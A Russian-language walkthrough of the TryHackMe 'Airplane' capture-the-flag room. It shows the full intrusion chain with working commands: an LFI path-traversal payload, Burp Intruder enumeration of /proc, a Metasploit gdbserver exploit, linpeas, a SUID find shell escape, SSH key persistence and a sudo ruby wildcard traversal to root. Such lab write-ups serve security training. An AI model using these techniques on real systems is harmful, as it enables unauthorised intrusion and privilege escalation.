Airplane | THM | Medium

Airplane | THM | Medium


Всем привет!

Сегодня попробуем пройти комнату Airplane c платформы THM. У комнаты указана Medium сложность, а значит там нас определенно ждет что-то интересное, поехали!

Спавним машину и первым делом отправляем её на сканирование портов

sudo nmap -sC -sV 10.10.57.221 -oN nmap_initial

Флаги -sC и -sV используются для сканирования сервисов и их версий, флаг -oN записывает результаты сканирования в файл nmap_initial на случай, если они пригодятся нам позже.

По результатам сканирования видим порты 22 – ssh, и 8000 – в нашем случае http-alt, какой-то веб.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-07 02:58 EDT
Stats: 0:03:30 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.65% done; ETC: 03:01 (0:00:00 remaining)
Stats: 0:03:39 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.65% done; ETC: 03:01 (0:00:00 remaining)
Nmap scan report for airplane.thm (10.10.57.221)
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp  open ssh   OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_ 3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)
8000/tcp open http-alt Werkzeug/3.0.2 Python/3.8.10
| http-title: About Airplanes
|_Requested resource was http://airplane.thm:8000/?page=index.html
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10

Запишем название хоста в файл /etc/hosts и отправимся изучать веб нашего хоста

sudo echo "10.10.57.221 airplane.thm" | sudo tee -a /etc/hosts
Справка: файл hosts присутствует как в Windows, так и в Unix-like системах. Это текстовый файл, содержащий в себе простенькую базу данных доменных имен. Обращение к файлу hosts является более приоритетным перед обращением к какому-либо dns-серверу.

На 8000 порту нас встречает одностраничный лендинг:

В сурс-коде ничего интересного нет, однако можно заметить, что обращение к странице идет через параметр page. Зачастую такое обращение уязвимо к Local File Inclusion.

И правда, если обратиться по адресу

http://airplane.thm:8000/?page=../../../../etc/passwd

Можно получить содержимое /etc/passwd атакуемой машины

Глобально нам это пока ничего не дает, поэтому имеет смысл поискать другие интересные файлы на атакуемой машине. Для этого перехватываем запрос в BurpSuite, отправляем в Intruder, указываем позицию, подгружаем словарь со списком нагрузок и начинаем атаку

Из целой кучи системных файлов меня наиболее заинтересовали файлы из директории /proc/

Справка: /proc – псевдодиректория *nix, которая предоставляет информацию о процессах, запущенных в системе. Каждому процессу системы соответствует свой Process ID, а каждому PID – своя директория /proc. К примеру, процессу с ID 123 будет соответствовать директория /proc/123.

В рамках этой директории мы можем видеть, что наше приложение написано на python3 и его PID – 557

Исходный код лежит в файле app.py

А домашняя директория приложения – /home/hudson/

Вытащим исходный код и проанализируем

from flask import Flask, send_file, redirect, render_template, request
import os.path

app = Flask(__name__)


@app.route('/')
def index():
  if 'page' in request.args:
    page = 'static/' + request.args.get('page')

    if os.path.isfile(page):
      resp = send_file(page)
      resp.direct_passthrough = False

      if os.path.getsize(page) == 0:
        resp.headers["Content-Length"]=str(len(resp.get_data()))

      return resp
    else
      return "Page not found"
  else:
    return redirect('http://airplane.thm:8000/?page=index.html', code=302)   

@app.route('/airplane')
def airplane():
  return render_template('airplane.html')

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

Однако глобально этот код не дает нам ничего. Это просто веб-страница с параметром page, который уязвим к LFI, с чего начинали, к тому и пришли.

Попробуем раскрутить /proc. Как мы помним, каждому процессу соответствует своя директория /proc/{PID}. Попробуем найти cmdline какого-нибудь еще процесса.

Для этого прочитаем /proc/self/cmdline и отправим запрос в Intruder, выставив нагрузку на место PID:

Выбираем сет нагрузок и начинаем атаку

В ходе этой атаки был обнаружен следующий cmdline:

На порту 6048, по всей видимости, крутится gdb server. Для атаки на него воспользуемся модулем metasploit:

Устанавливаем переменные, выбираем payload и запускаем эксплоит

В результате получаем шелл под пользователем hudson:

Стабилизируем соединение путем запуска псевдо-шелла:

python3 -c "import pty; pty.spawn('/bin/bash');"

Видим, что в домашней директории флага нет, значит нас ожидает горизонтальное перемещение

При помощи metasploit грузим и запускаем на машинке linpeas

upload linpeas.sh /tmp/lin.sh
shell
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh

Дожидаться конца работы скрипта необязательно, мы нашли, что искали

Находим find на gtfobins.github.io и эксплуатируем суид:

./find . -exec /bin/sh -p \; -quit

В результате получаем шелл под пользователем carlos

Видим, что у нас есть возможность записи в директорию .ssh, а значит можем создать ssh ключ, подключиться с ним и получить нормальный шелл

Генерируем себе ключ:

┌──(root㉿kali)-[/home/kali/thm/airplane]
└─# ssh-keygen -t rsa                                                            
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ./carlos
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./carlos
Your public key has been saved in ./carlos.pub
The key fingerprint is:
SHA256:aioXn8Ie+JvfX22VimEGtAEbvC1nKv5fXhnEY8z2q+M root@kali
The key's randomart image is:
+---[RSA 3072]----+
|   .o.o    |
|    .+ o +  |
|    .oo  O  |
|    o +. + o .|
|    S + . o.|
|  ... o o o.+..|
| ..oo+.  o.+o. |
| ..+*o. o..o. |
|  +*+o.oo...E. |
+----[SHA256]-----+

На атакуемом хосте пишем:

echo '{содержимое файла carlos.pub}' > authorized_keys

Подключаемся по ssh со своей машинки:

ssh carlos@airplane.thm -i carlos

Получаем стабильный шелл:

Прописав sudo -l, видим, что можем выполнять произвольный код на Ruby из директории рута с sudo без пароля:

И здесь мы видим весьма занимательную мисконфигурацию.

Во многих системах * означает 'ALL'. Линукс – не исключение. Вместо этой звездочки мы можем вписать любой символ/набор символов, таким образом данное правило должно распространяться на ВСЕ .rb файлы из директории /root, независимо от их названия.

Мисконфигурация заключается в том, что вместо * мы точно так же можем передать набор символов, который позволит нам выполнить файл из любой другой директории, этим мы и воспользуемся:

Находясь в директории /home/carlos/ напишем системный вызов на языке Ruby, который будет вызывать /bin/bash и поместим его в файл shell.rb :

carlos@airplane:~$ echo "system('/bin/bash')" > shell.rb
carlos@airplane:~$ cat shell.rb
system('/bin/bash')

Далее эксплуатируем мисконфигурацию:

carlos@airplane:~$ sudo /usr/bin/ruby /root/../home/carlos/shell.rb
root@airplane:/home/carlos# id
uid=0(root) gid=0(root) groups=0(root)

Вот таким незамысловатым образом мы исполнили от имени суперпользователя файл, находящийся в директории, файлы из которой мы исполнять, по идее, не можем.

Осталось дело за малым – собрать флаги user.txt и root.txt

PWNed!


Report Page